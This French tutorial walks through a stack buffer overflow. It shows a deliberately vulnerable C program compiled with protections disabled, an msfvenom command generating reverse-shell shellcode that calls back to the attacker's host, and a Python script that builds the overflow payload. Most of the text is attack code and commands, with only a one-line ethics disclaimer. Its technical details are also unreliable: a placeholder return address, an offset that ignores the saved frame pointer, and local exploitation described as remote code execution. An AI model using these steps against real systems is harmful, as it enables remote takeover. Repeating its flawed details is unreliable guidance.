Attaque de Buffer Overflow pour Prise de Contrôle à Distance

Introduction

Le buffer overflow est une vulnérabilité où un programme, en écrivant des données à un emplacement mémoire, dépasse la capacité du buffer alloué et écrase des données adjacentes. Cette faille peut être exploitée pour exécuter du code arbitraire, comme un shellcode, permettant à un attaquant de prendre le contrôle du système.

Prérequis

• Un ordinateur avec Kali Linux
• Connexion Internet
• Connaissances de base en programmation C et exploitation de failles

Étape 1: Création d'un Programme Vulnérable

Nous allons commencer par créer un simple programme vulnérable en C. Créez un fichier vulnerable.c avec le code suivant :

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *str) {
    char buffer[64];
    strcpy(buffer, str);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    return 0;
}

Compilez le programme avec les commandes suivantes :

gcc -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Étape 2: Génération d'un Shellcode

Nous utiliserons msfvenom pour générer un shellcode qui ouvre une shell inversée. Exécutez la commande suivante :

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<votre_ip> LPORT=<votre_port> -f c

Copiez le shellcode généré.

Étape 3: Création du Payload

Nous allons créer un script Python pour générer le payload exploitant la vulnérabilité du buffer overflow. Créez un fichier exploit.py avec le code suivant :

import sys

# Shellcode généré par msfvenom
shellcode = (
    b"\x31\xc0\xb0\x01\x31\xdb\xcd\x80"  # Exemple de shellcode, remplacez par votre shellcode
)

# Adresse de retour (adresse EIP)
return_address = b"\x90\x90\x90\x90"  # Remplacez par l'adresse appropriée

# Taille du buffer (64 octets) + NOP sled + Shellcode
buffer_size = 64
nop_sled = b"\x90" * 16
payload = b"A" * buffer_size + return_address + nop_sled + shellcode

# Écriture du payload dans un fichier
with open("payload", "wb") as f:
    f.write(payload)

print("Payload généré et écrit dans 'payload'. Exécutez './vulnerable $(cat payload)' pour tester.")

Étape 4: Exécution de l'Exploit

Exécutez le script Python pour générer le payload :

python3 exploit.py

Ensuite, exécutez le programme vulnérable avec le payload généré :

./vulnerable $(cat payload)

Si tout se passe bien, vous devriez obtenir une shell inversée sur votre machine attaquante.

Conclusion

Ce tutoriel a montré comment exploiter une vulnérabilité de buffer overflow pour obtenir une exécution de code à distance. Il est important de noter que ces techniques doivent être utilisées de manière éthique et uniquement sur des systèmes pour lesquels vous avez l'autorisation explicite.